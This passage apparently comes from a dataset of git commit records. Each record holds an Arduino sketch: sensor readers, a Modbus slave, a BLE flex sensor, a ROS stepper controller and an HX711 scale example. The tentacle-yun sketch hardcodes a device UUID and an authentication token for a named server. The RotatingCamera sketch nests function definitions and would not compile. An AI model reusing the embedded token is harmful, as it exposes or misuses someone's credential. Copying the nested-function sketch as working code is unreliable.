<FlexiTimer2.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Global Variables \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \nNearbus Agent(0);\n\nULONG A_register[8]; \/\/ Define the Tx Buffer (Reg_A)\nULONG B_register[8]; \/\/ Define the Rx Buffer (Reg_B) \nint retorno;\n\nvoid AuxPortServices(void) {\n Agent.PortServices(); \n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\/\/ BROWSER API REST COMMAND LINE (for JavaScript) - (use it for troubleshooting)\n\/\/\n\/\/ http:\/\/nearbus.net\/v1\/api_vmcu_jsb\/NB100***?user=****&pass=****&channel=0&service=DIG_OUTPUT&value=1&method=POST&reqid=123456\n\/\/\n\/\/ user: Your NearBus Web user\n\/\/ pass: Your NearBus Web password\n\/\/ channel: NearBus channel [0-3]\n\/\/ value: Service value (if apply)\n\/\/ method: GET (read) \/ POST (write)\n\/\/ reqid: Transaction identifier (to match a request and its response)\n\/\/ \n\/\/ SUPPORTED API SERVICES\n\/\/ DIG_INPUT: Digital Input - Input Range [0-1] - Method: GET \n\/\/ DIG_OUTPUT: Digital Output - Output Range [0-1] - Method: POST\/GET \n\/\/ ADC_INPUT: ADC Analog Input - Output Range [0-1023] - Method: GET \n\/\/ PULSE _OUTPUT: Digital Output - Input Range [0-65535] in steps of 10ms (max 655 seg) - Method: POST\/GET \n\/\/ PWM_OUTPUT: PWM Output calibrated for Servomotors - Input Range [800-2200] - Method: POST\/GET \n\/\/ DIG_COUNTER: Pulse Counter \/ Accumulator\n\/\/ RMS_INPUT: True RMS Meter\n\/\/ MY_NBIOS_0: User defined function\n\/\/\n\/\/ For a detailed information please go to: http:\/\/goo.gl\/Gxrcua\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\n\n\/*####################################################################################################################################\n####################################################################################################################################### ###\n### MY_NBIOS CUSTOM FUNCTION CODE #### ### ###\n#######################################################################################################################################\n ####################################################################################################################################*\/ \n\nvoid Nearbus::MyNbios_0( byte portId, ULONG setValue, ULONG* pRetValue, byte vmcuMethod, PRT_CNTRL_STRCT* pPortControlStruct )\n{\n \n \/\/************************************\n \/\/ Reconfiguring Ports as I\/O\n \/\/************************************\n Serial.println(\"\");\n Serial.println(\"H-ome\");\n Serial.println(\"A-rduino\");\n Serial.println(\"L-ogistics\");\n Serial.println(\"\");\n Serial.println(setValue); \/\/debug code, shows the number of the command called\n mainSwitch(setValue);\n if( pPortControlStruct->portMode != MYNBIOS_MODE ) \n {\n\t PortModeConfig( portId, MYNBIOS_MODE ); \n }\n\n \/\/************************************\n \/\/ Custom Function\n \/\/************************************\n \/\/ DEFAULT: The default analog reference of 5 volts (on 5V Arduino boards) or 3.3 volts (on 3.3V Arduino boards)\n \/\/ INTERNAL: An built-in reference, equal to 1.1 volts on the ATmega168 or ATmega328 and 2.56 volts on the ATmega8 (not available on the Arduino Mega)\n \/\/ INTERNAL1V1: A built-in 1.1V reference (Arduino Mega only)\n \/\/ INTERNAL2V56: A built-in 2.56V reference (Arduino Mega only)\n \/\/ EXTERNAL: The voltage applied to the AREF pin (0 to 5V only) is used as the reference. \t\n\t\n\t\n analogReference( DEFAULT );\t\n \n *pRetValue = (ULONG) analogRead( pPortControlStruct->anaPinId ); \n \n}\n\n\n\n\n\/*####################################################################################################################################\n#######################################################################################################################################\n### END OF CUSTOM CODE #### ###\n#######################################################################################################################################\n ####################################################################################################################################*\/ \n\n \n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\/\/ SETUP ROUTINE \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \nvoid setup(void)\n{\n \n \/\/*********************************\n \/\/ SERIAL INTERFACE INITIALIZATION\n \/\/*********************************\n Serial.begin(9600); \/\/ Start serial library\n Serial.println(\"H-ome\");\n Serial.println(\"A-rduino\");\n Serial.println(\"L-ogistics\");\n Serial.println(\"\");\n \/\/*********************************\n \/\/ NEARBUS INITIALIZATION\n \/\/********************************* \n Agent.NearInit( deviceId, sharedSecret );\n \n \/\/*********************************\n \/\/ ETHERNET INITIALIZATION\n \/\/********************************* \n if( STATIC_IP ){\n Ethernet.begin( mac, ip, gdns, gateway, subnet );\n } \n else { \n Ethernet.begin( mac );\n }\n\n \/\/*********************************\n \/\/ FLEXITIMER INITIALIZATION\n \/\/*********************************\n #if FLEXI_TIMER \n FlexiTimer2::set( INT_PERIOD, AuxPortServices ); \/\/ Call the port services routine every 10 ms\n FlexiTimer2::start();\n #endif \n \n delay(1000); \/\/ Give the Ethernet shield a second to initialize\n\n pinMode(3, OUTPUT); \n}\n\nvoid loop()\n{\n int ret; \n \n Agent.NearChannel( A_register, B_register, &ret );\n\n if ( ret >= 50 )\n {\n Serial.println( \"Rx Error\" ); \n \/\/ [50] Frame Autentication Mismatch\n \/\/ [51] Frame Out of sequence\n \/\/ [52] Remote ACK Error\n \/\/ [53] Unsupported Command \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '1.1\/Arduino\/HAL-E\/HAL-E.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d85da4149381b54bd97ea52fcd36be367fe785ce","subject":"Added example","message":"Added example\n","repos":"norgor\/ModbusRTU","old_file":"examples\/ModbusRTU_Example.ino","new_file":"examples\/ModbusRTU_Example.ino","new_contents":"#include \"ModbusRTU.h\"\n\nModbusRTU::ModbusRTUSlave<16> slave;\n\nunsigned short encoder = 0;\nunsigned short analogOut[3];\nbool digitalOut[4];\nbool digitalIn[6];\nunsigned short analogIn[2];\n\nvoid setup()\n{\n slave.begin(115200);\n\n pinMode(A0, INPUT_PULLUP);\n pinMode(A1, INPUT_PULLUP);\n pinMode(A2, INPUT_PULLUP);\n pinMode(A3, INPUT_PULLUP);\n pinMode(A4, INPUT_PULLUP);\n pinMode(A5, INPUT_PULLUP);\n pinMode(A6, INPUT_PULLUP);\n pinMode(A7, INPUT_PULLUP);\n \n slave.update();\n \n pinMode(10, OUTPUT);\n pinMode(9, OUTPUT);\n pinMode(6, OUTPUT);\n \n pinMode(8, OUTPUT);\n pinMode(5, OUTPUT);\n pinMode(11, OUTPUT);\n pinMode(7, OUTPUT);\n \n slave.addCoil(&digitalOut[0],0x0000);\n slave.addCoil(&digitalOut[1],0x0001);\n slave.addCoil(&digitalOut[2],0x0002);\n slave.addCoil(&digitalOut[3],0x0003);\n\n slave.addDiscreteInput(&digitalIn[0], 0x1000);\n slave.addDiscreteInput(&digitalIn[1], 0x1001);\n slave.addDiscreteInput(&digitalIn[2], 0x1002);\n slave.addDiscreteInput(&digitalIn[3], 0x1003);\n slave.addDiscreteInput(&digitalIn[4], 0x1004);\n slave.addDiscreteInput(&digitalIn[5], 0x1005);\n\n slave.addInputRegister(&analogIn[0], 0x2000);\n slave.addInputRegister(&analogIn[1], 0x2001);\n\n slave.addHoldingRegister(&analogOut[0], 0x3000);\n slave.addHoldingRegister(&analogOut[1], 0x3001);\n slave.addHoldingRegister(&analogOut[2], 0x3002);\n}\n\nvoid loop() \n{\n digitalIn[0] = !digitalRead(A0);\n digitalIn[1] = !digitalRead(A1);\n digitalIn[2] = !digitalRead(A2);\n digitalIn[3] = !digitalRead(A3);\n digitalIn[4] = !digitalRead(A4);\n digitalIn[5] = !digitalRead(A5);\n \n analogIn[0] = analogRead(A7);\n analogIn[1] = analogRead(A6);\n \n slave.update();\n \n analogWrite(10, analogOut[0]);\n analogWrite(9, analogOut[1]);\n analogWrite(6, analogOut[2]);\n \n digitalWrite(7, digitalOut[0]);\n digitalWrite(11, digitalOut[1]);\n digitalWrite(5, digitalOut[2]);\n digitalWrite(8, digitalOut[3]);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ModbusRTU_Example.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"a4d078f6cc3f929e4eb2f8b04a6c2b0358a74a1d","subject":"Structure","message":"Structure\n","repos":"aelillie\/ReRide_Platform,aelillie\/ReRide_Platform","old_file":"Peripheral\/Flex_Sensor.ino\/Flex_Sensor.ino.ino","new_file":"Peripheral\/Flex_Sensor.ino\/Flex_Sensor.ino.ino","new_contents":"\/******************************************************************************\nFlex_Sensor_Example.ino\nExample sketch for SparkFun's flex sensors\n (https:\/\/www.sparkfun.com\/products\/10264)\nJim Lindblom @ SparkFun Electronics\nApril 28, 2016\n\nCreate a voltage divider circuit combining a flex sensor with a 47k resistor.\n- The resistor should connect from A0 to GND.\n- The flex sensor should connect from A0 to 3.3V\nAs the resistance of the flex sensor increases (meaning it's being bent), the\nvoltage at A0 should decrease.\n\nDevelopment environment specifics:\nArduino 1.6.7\n******************************************************************************\/\n\/\/ Include BLE files.\n#include <CurieBLE.h>\n\n\/\/###BLE Characteristics###\nBLEPeripheral blePeripheral; \/\/ BLE Peripheral Device (the board you're programming)\nBLEService batteryService(\"180F\"); \/\/ BLE Battery Service\n\n\/\/ BLE Battery Level Characteristic\nBLEUnsignedCharCharacteristic batteryLevelChar(\"2A19\", \/\/ standard 16-bit characteristic UUID\n BLERead | BLENotify); \/\/ remote clients will be able to get notifications if this characteristic changes\n\n\/\/###Flex sensor properties###\nconst int FLEX_PIN = A0; \/\/ Pin connected to voltage divider output\n\n\/\/ Measure the voltage at 5V and the actual resistance of your 47k resistor, and enter them below:\nconst float VCC = 4.98; \/\/ Measured voltage of Ardunio 5V line\nconst float R_DIV = 47500.0; \/\/ Measured resistance of 3.3k resistor\n\n\/\/ Following can be adjusted to be more precise\nconst float STRAIGHT_RESISTANCE = 37300.0; \/\/ resistance when straight\nconst float BEND_RESISTANCE = 90000.0; \/\/ resistance at 90 deg\n\nfloat oldFlexAngle = 0; \/\/ last flex angle reading from analog input\nlong previousMillis = 0; \/\/ last time the flex angle level was checked, in ms\n\nvoid setup() \n{\n Serial.begin(9600);\n pinMode(FLEX_PIN, INPUT);\n\n \/* Set a local name for the BLE device\n This name will appear in advertising packets\n and can be used by remote devices to identify this BLE device\n The name can be changed but maybe be truncated based on space left in advertisement packet *\/\n blePeripheral.setLocalName(\"ReRide\");\n blePeripheral.setAdvertisedServiceUuid(batteryService.uuid()); \/\/ add the service UUID\n blePeripheral.addAttribute(batteryService); \/\/ Add the BLE Battery service\n blePeripheral.addAttribute(batteryLevelChar); \/\/ add the battery level characteristic\n batteryLevelChar.setValue(oldFlexAngle); \/\/ initial value for this characteristic\n\n \/* Now activate the BLE device. It will start continuously transmitting BLE\n advertising packets and will be visible to remote BLE central devices\n until it receives a new connection *\/\n blePeripheral.begin();\n Serial.println(\"Bluetooth device active, waiting for connections...\");\n}\n\n\n\/\/ This function is called continuously, after setup() completes.\nvoid loop() \n{\n \/\/ listen for BLE peripherals to connect:\n BLECentral central = blePeripheral.central();\n\n \/\/ if a central is connected to peripheral:\n if (central) {\n Serial.print(\"Connected to central: \");\n \/\/ print the central's MAC address:\n Serial.println(central.address());\n \/\/ check the flex angle every 200ms as long as the central is still connected:\n while (central.connected()) {\n long currentMillis = millis();\n \/\/ if 200ms have passed, check the flex angle:\n if (currentMillis - previousMillis >= 200) {\n previousMillis = currentMillis;\n updateFlexAngle();\n }\n }\n Serial.print(\"Disconnected from central: \");\n Serial.println(central.address());\n }\n}\n\nvoid updateFlexAngle() {\n \/\/ Read the ADC, and calculate voltage and resistance from it\n int flexADC = analogRead(FLEX_PIN);\n float flexV = flexADC * VCC \/ 1023.0;\n float flexR = R_DIV * (VCC \/ flexV - 1.0);\n\n \/\/ Use the calculated resistance to estimate the sensor's bend angle:\n float angle = map(flexR, STRAIGHT_RESISTANCE, BEND_RESISTANCE, 0, 90.0);\n\n if (angle != oldFlexAngle) {\n Serial.println(\"Resistance: \" + String(flexR) + \" ohms\");\n Serial.println(\"Bend: \" + String(angle) + \" degrees\");\n Serial.println();\n batteryLevelChar.setValue(angle);\n oldFlexAngle = angle;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Peripheral\/Flex_Sensor.ino\/Flex_Sensor.ino.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3e80c82a0bd8968589aebdf82bd5cfa506dc97e8","subject":"fix spacing to be consistent with book text","message":"fix spacing to be consistent with book text\n","repos":"chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer","old_file":"examples-ltc\/7. LoveToCodeVol1\/4_FadeWithWhileLoop\/FadeWithWhileLoop.ino","new_file":"examples-ltc\/7. LoveToCodeVol1\/4_FadeWithWhileLoop\/FadeWithWhileLoop.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples-ltc\/7.' did not match any file(s) known to git\nerror: pathspec 'LoveToCodeVol1\/4_FadeWithWhileLoop\/FadeWithWhileLoop.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b72bbe1c24499b85cfbfd55e29eed74a4d982341","subject":"adding a (non-working) yun example. You know, to confuse people","message":"adding a (non-working) yun example. You know, to confuse people\n","repos":"octoblu\/tentacle-build,octoblu\/tentacle-build,octoblu\/tentacle-build","old_file":"arduino\/examples\/tentacle-yun\/tentacle-yun.ino","new_file":"arduino\/examples\/tentacle-yun\/tentacle-yun.ino","new_contents":"#include <Bridge.h>\n#include <YunClient.h>\n\n#include \"tentacle-build.h\"\n\n#define DELAY 2000\n\n#define server \"tentacle.octoblu.com\"\n#define port 80\n\nstatic const char uuid[] = \"ff12c403-04c7-4e63-9073-2e3b1f8e4450\";\nstatic const char token[] = \"28d2c24dfa0a5289799a345e683d570880a3bc41\";\n\nYunClient conn;\n\nTentacleArduino tentacle;\nPseudopod pseudopod(conn, conn, tentacle);\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(F(\"The Day of the Tentacle has begun!\"));\n connectToServer();\n}\n\nvoid loop() {\n if (!conn.connected()) {\n conn.stop();\n connectToServer();\n }\n\n readData();\n\n if(pseudopod.shouldBroadcastPins() ) {\n delay(pseudopod.getBroadcastInterval());\n Serial.println(F(\"Sending pins\"));\n pseudopod.sendConfiguredPins();\n }\n}\n\nvoid readData() {\n\n while (conn.available()) {\n Serial.println(F(\"Received message\"));\n Serial.flush();\n\n if(pseudopod.readMessage() == TentacleMessageTopic_action) {\n pseudopod.sendPins();\n }\n }\n\n}\n\nvoid connectToServer() {\n int connectionAttempts = 0;\n Serial.println(F(\"Connecting to the server.\"));\n Serial.flush();\n\n while(!conn.connect(server, port)) {\n if(connectionAttempts > 5) {\n Serial.println(F(\"Still can't connect. I must have gone crazy. Rebooting\"));\n Serial.flush();\n\n softReset();\n }\n Serial.println(F(\"Can't connect to the server.\"));\n Serial.flush();\n conn.stop();\n connectionAttempts++;\n }\n\n size_t authSize = pseudopod.authenticate(uuid, token);\n Serial.print(authSize);\n Serial.println(F(\" bytes written for authentication\"));\n\n}\n\nvoid softReset() {\n asm volatile (\" jmp 0\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/examples\/tentacle-yun\/tentacle-yun.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1b77a5fee1d20297cef01184479eac36ce43e0b3","subject":"Adding the Arduino Sketch","message":"Adding the Arduino Sketch\n\nas per the summary\n","repos":"lowjunen\/Monocopter,lowjunen\/Monocopter,lowjunen\/Monocopter","old_file":"LIS3MDL_Data_Logger.ino","new_file":"LIS3MDL_Data_Logger.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lowjunen\/Monocopter.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5f60b86fea74b0eca6d8ed0dcbefe00b2e063fe1","subject":"Update Datalogger.ino","message":"Update Datalogger.ino","repos":"steigeia\/RFID_UNID_LOGGER,steigeia\/RFID_UNID_LOGGER","old_file":"Project Code\/Datalogger.ino","new_file":"Project Code\/Datalogger.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Project' did not match any file(s) known to git\nerror: pathspec 'Code\/Datalogger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a4a98458c24d5d0ffbb65c65d9237cb33bd26821","subject":"test device added","message":"test device added\n","repos":"charithag\/iot-server-samples,charithag\/iot-server-samples,charithag\/iot-server-samples,charithag\/iot-server-samples,charithag\/iot-server-samples,charithag\/iot-server-samples","old_file":"TESTNodeMCU\/TESTNodeMCU.ino","new_file":"TESTNodeMCU\/TESTNodeMCU.ino","new_contents":"\/\/ Example testing sketch for various DHT humidity\/temperature sensors\n\/\/ Written by ladyada, public domain\n\n#include \"DHT.h\"\n\n#define DHTPIN D1 \/\/ what digital pin we're connected to\n#define LED_PIN D2\n\/\/ Uncomment whatever type you're using!\n#define DHTTYPE DHT11 \/\/ DHT 11\n\/\/#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302), AM2321\n\/\/#define DHTTYPE DHT21 \/\/ DHT 21 (AM2301)\n\n\/\/ Connect pin 1 (on the left) of the sensor to +5V\n\/\/ NOTE: If using a board with 3.3V logic like an Arduino Due connect pin 1\n\/\/ to 3.3V instead of 5V!\n\/\/ Connect pin 2 of the sensor to whatever your DHTPIN is\n\/\/ Connect pin 4 (on the right) of the sensor to GROUND\n\/\/ Connect a 10K resistor from pin 2 (data) to pin 1 (power) of the sensor\n\n\/\/ Initialize DHT sensor.\n\/\/ Note that older versions of this library took an optional third parameter to\n\/\/ tweak the timings for faster processors. This parameter is no longer needed\n\/\/ as the current DHT reading algorithm adjusts itself to work on faster procs.\nDHT dht(DHTPIN, DHTTYPE);\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(\"DHTxx test!\");\n pinMode(LED_PIN,OUTPUT);\n dht.begin();\n}\n\nvoid loop() {\n \/\/ Wait a few seconds between measurements.\n digitalWrite(LED_PIN,HIGH);\n delay(2000);\n\n \/\/ Reading temperature or humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (its a very slow sensor)\n float h = dht.readHumidity();\n \/\/ Read temperature as Celsius (the default)\n float t = dht.readTemperature();\n \/\/ Read temperature as Fahrenheit (isFahrenheit = true)\n float f = dht.readTemperature(true);\n\n \/\/ Check if any reads failed and exit early (to try again).\n if (isnan(h) || isnan(t) || isnan(f)) {\n Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n\n \/\/ Compute heat index in Fahrenheit (the default)\n float hif = dht.computeHeatIndex(f, h);\n \/\/ Compute heat index in Celsius (isFahreheit = false)\n float hic = dht.computeHeatIndex(t, h, false);\n\n Serial.print(\"Humidity: \");\n Serial.print(h);\n Serial.print(\" %\\t\");\n Serial.print(\"Temperature: \");\n Serial.print(t);\n Serial.print(\" *C \");\n Serial.print(f);\n Serial.print(\" *F\\t\");\n Serial.print(\"Heat index: \");\n Serial.print(hic);\n Serial.print(\" *C \");\n Serial.print(hif);\n Serial.println(\" *F\");\n digitalWrite(LED_PIN,LOW);\n delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TESTNodeMCU\/TESTNodeMCU.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"80dbc2ec32472c3c156242d1fac66c5270edbcb4","subject":"new example - smile.ino","message":"new example - smile.ino\n","repos":"digitalwizards\/SparkCore-LEDMatrix-MAX7219-MAX7221","old_file":"firmware\/examples\/smile.ino","new_file":"firmware\/examples\/smile.ino","new_contents":"\/*\n Example\n \n Draw simple face\n*\/\n\n\/\/ subdirectory is required for Spark WEB IDE\n#include \"ledmatrix-max7219-max7221\/ledmatrix-max7219-max7221.h\"\n\nLEDMatrix *led;\n\nvoid setup() {\n \/\/ create new library instance with one display\n led = new LEDMatrix();\n \n \/\/ register display on the position [0;0] without rotatation or mirroring\n led->addMatrix(0, 0);\n \n \/\/ set brightness (0-15)\n led->setIntensity(4);\n \n \/\/ shapes will be drawn by turning LEDs on\n bool color = 1;\n \n \/\/ the outline of the face\n led->drawRoundRect(0, 0, 8, 8, 3, color);\n \/\/ mouth\n led->drawLine(2, 4, 3, 5, color);\n led->drawLine(4, 5, 5, 4, color);\n \/\/ eyes\n led->drawPixel(2, 2, color);\n led->drawPixel(5, 2, color);\n \n \/\/ redraw display\n led->flush();\n \n \/\/ free resources\n delete led;\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/smile.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"87575eca163c07dc02563a319653e873a2071425","subject":"Pince: Suppression de la variable \"etat\" inutile + ajout d'en-t\u00eates de fonctions","message":"Pince: Suppression de la variable \"etat\" inutile + ajout d'en-t\u00eates de fonctions\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement\/Moteur_deplacement.ino","new_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement\/Moteur_deplacement.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Pince\/Moteur_deplacement\/Moteur_deplacement\/Moteur_deplacement.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9ab587a1b533ee0daf274772210d450efe562cda","subject":"Implementing the control code for the rotation bits of the ArUco vision system.","message":"Implementing the control code for the rotation bits of the ArUco vision system.\n","repos":"MarsRobotics\/ROSta-Bot,MarsRobotics\/ROSta-Bot,MarsRobotics\/ROSta-Bot,MarsRobotics\/ROSta-Bot","old_file":"src\/RotatingCamera\/RotatingCamera.ino","new_file":"src\/RotatingCamera\/RotatingCamera.ino","new_contents":"\/* RotatingCamera\n\nAuthors: Derek Schumacher, Matt Delaney, and Fatima Dominguez\n\nReads in a degree value from ROS and translates it to \na number of steps that will rotate the motor to the desired \ndegree.\n\nThe circuit using a NEMA 14 and Microstep Driver- M6128 :\n[current: 1.25; Microstep = 1 (Full-step)]\n\nRed (A+)\nGreen (A-)\nYellow (B+)\nBlue (B-)\n\nPUL+ (pin 8)\nDIR+ (pin 9)\n\nENA+ connected to ground\nENA- connected to pin 10 (+5V when turning, otherwise 0V)\n\n*\/\n#include <ros.h>\n#include <std_msgs\/Int32.h>\n\nros::NodeHandle nh;\nint DIRECTION_PIN = 8;\nint PULSE_PIN = 9;\nint ENABLE = 10;\nint stepCount = 0;\nint desiredDegrees = 0;\nint beaconDegreeOffset = 0;\ndouble stepDegree = 0.094;\nint desiredStep = 0;\n\/\/ In testing it seems this is unecessary.\nint DELAY = 0;\n\nint CLOCKWISE = HIGH;\nint COUNTERCLOCKWISE = LOW;\n\nros::Subscriber<std_msgs::Int32> cvDegreeReader(\"camera_angle\", &desiredCameraPosChanged);\n\nvoid setup(){\n\n pinMode(DIRECTION_PIN, OUTPUT);\n pinMode(PULSE_PIN, OUTPUT);\n pinMode(ENABLE, OUTPUT);\n \/\/ HIGH on Enable = DISABLED. LOW on Enable = ENABLED.\n digitalWrite(ENABLE, HIGH); \/\/the motor should not make loud screeching\n nh.initNode();\n nh.subscribe(cvDegreeReader);\n}\n\nvoid loop()\n{\n\tnh.spinOnce();\n\tdelayMicroseconds(100000);\n}\n\nvoid desiredCameraPosChanged( const std_msgs::Int32& newPos){\n desiredDegrees = newPos.data;\n\t\/\/ Step = Degrees \/ steps per degree * gear ratio\n desiredStep = int(desiredDegrees\/stepDegree)*19;\n Serial.print(\"Going to degree: \");\n Serial.println(desiredDegrees); \n if(stepCount == desiredStep)\n {\n\t return;\n }\n else if (stepCount < desiredStep)\n {\n\t driveUp();\n }\n else\n {\n\t driveDown();\n }\n \n \/\/ increasing the count means we want to move clockwise (right)\n void driveUp()\n {\n\tdigitalWrite(ENABLE,LOW);\n\tdigitalWrite(DIRECTION_PIN, CLOCKWISE);\n\twhile(stepCount < desiredStep)\n\t{\n\t\tdelayMicroseconds(DELAY);\n\t\tdigitalWrite(PULSE_PIN, HIGH);\n\t\tdelayMicroseconds(DELAY);\n\t\tdigitalWrite(PULSE_PIN, LOW);\n\t\t++stepCount;\n\t}\n digitalWrite(ENABLE, HIGH); \/\/the motor should not make loud screeching\n }\n \n \/\/ Decreasing the step means we want to move counter-clockwise (left).\n void driveDown()\n {\n\tdigitalWrite(ENABLE,LOW);\n\tdigitalWrite(DIRECTION_PIN, COUNTERCLOCKWISE);\n\twhile(stepCount > desiredStep)\n\t{\n\t\tdelayMicroseconds(DELAY);\n\t\tdigitalWrite(PULSE_PIN, HIGH);\n\t\tdelayMicroseconds(DELAY);\n\t\tdigitalWrite(PULSE_PIN, LOW);\n\t\t--stepCount;\n\t}\n digitalWrite(ENABLE, HIGH); \/\/the motor should not make loud screeching\n }\n \n}\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/RotatingCamera\/RotatingCamera.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"30d1c0b819ab8ae7e579bb111a6b5a8f855c0765","subject":"add combined file","message":"add combined file\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/mainhrm\/mainhrm.ino","new_file":"arduino\/mainhrm\/mainhrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"efcf6abb180f156f193dcf7172dcabd28460fc73","subject":"example for esp8266 special case","message":"example for esp8266 special case\n","repos":"bogde\/HX711","old_file":"examples\/HX711ESP8266\/HX711ESP8266.ino","new_file":"examples\/HX711ESP8266\/HX711ESP8266.ino","new_contents":"#include \"HX711.h\"\n\n\/\/ HX711.DOUT\t- pin #D2\n\/\/ HX711.PD_SCK\t- pin #D3\n\nHX711 scale(D2, D3);\t\t\/\/ parameter \"gain\" is ommited; the default value 128 is used by the library\n\nvoid setup() {\n Serial.begin(38400);\n \/\/ usually the begin method is called by the class builder but in case of esp8266 must be called explicitly in the setup\n scale.begin(D2,D3); \/\/esp specific statment \n Serial.println(\"HX711 Demo\");\n\n Serial.println(\"Before setting up the scale:\");\n Serial.print(\"read: \\t\\t\");\n Serial.println(scale.read());\t\t\t\/\/ print a raw reading from the ADC\n\n Serial.print(\"read average: \\t\\t\");\n Serial.println(scale.read_average(20)); \t\/\/ print the average of 20 readings from the ADC\n\n Serial.print(\"get value: \\t\\t\");\n Serial.println(scale.get_value(5));\t\t\/\/ print the average of 5 readings from the ADC minus the tare weight (not set yet)\n\n Serial.print(\"get units: \\t\\t\");\n Serial.println(scale.get_units(5), 1);\t\/\/ print the average of 5 readings from the ADC minus tare weight (not set) divided \n\t\t\t\t\t\t\/\/ by the SCALE parameter (not set yet) \n\n scale.set_scale(2280.f); \/\/ this value is obtained by calibrating the scale with known weights; see the README for details\n scale.tare();\t\t\t\t \/\/ reset the scale to 0\n\n Serial.println(\"After setting up the scale:\");\n\n Serial.print(\"read: \\t\\t\");\n Serial.println(scale.read()); \/\/ print a raw reading from the ADC\n\n Serial.print(\"read average: \\t\\t\");\n Serial.println(scale.read_average(20)); \/\/ print the average of 20 readings from the ADC\n\n Serial.print(\"get value: \\t\\t\");\n Serial.println(scale.get_value(5));\t\t\/\/ print the average of 5 readings from the ADC minus the 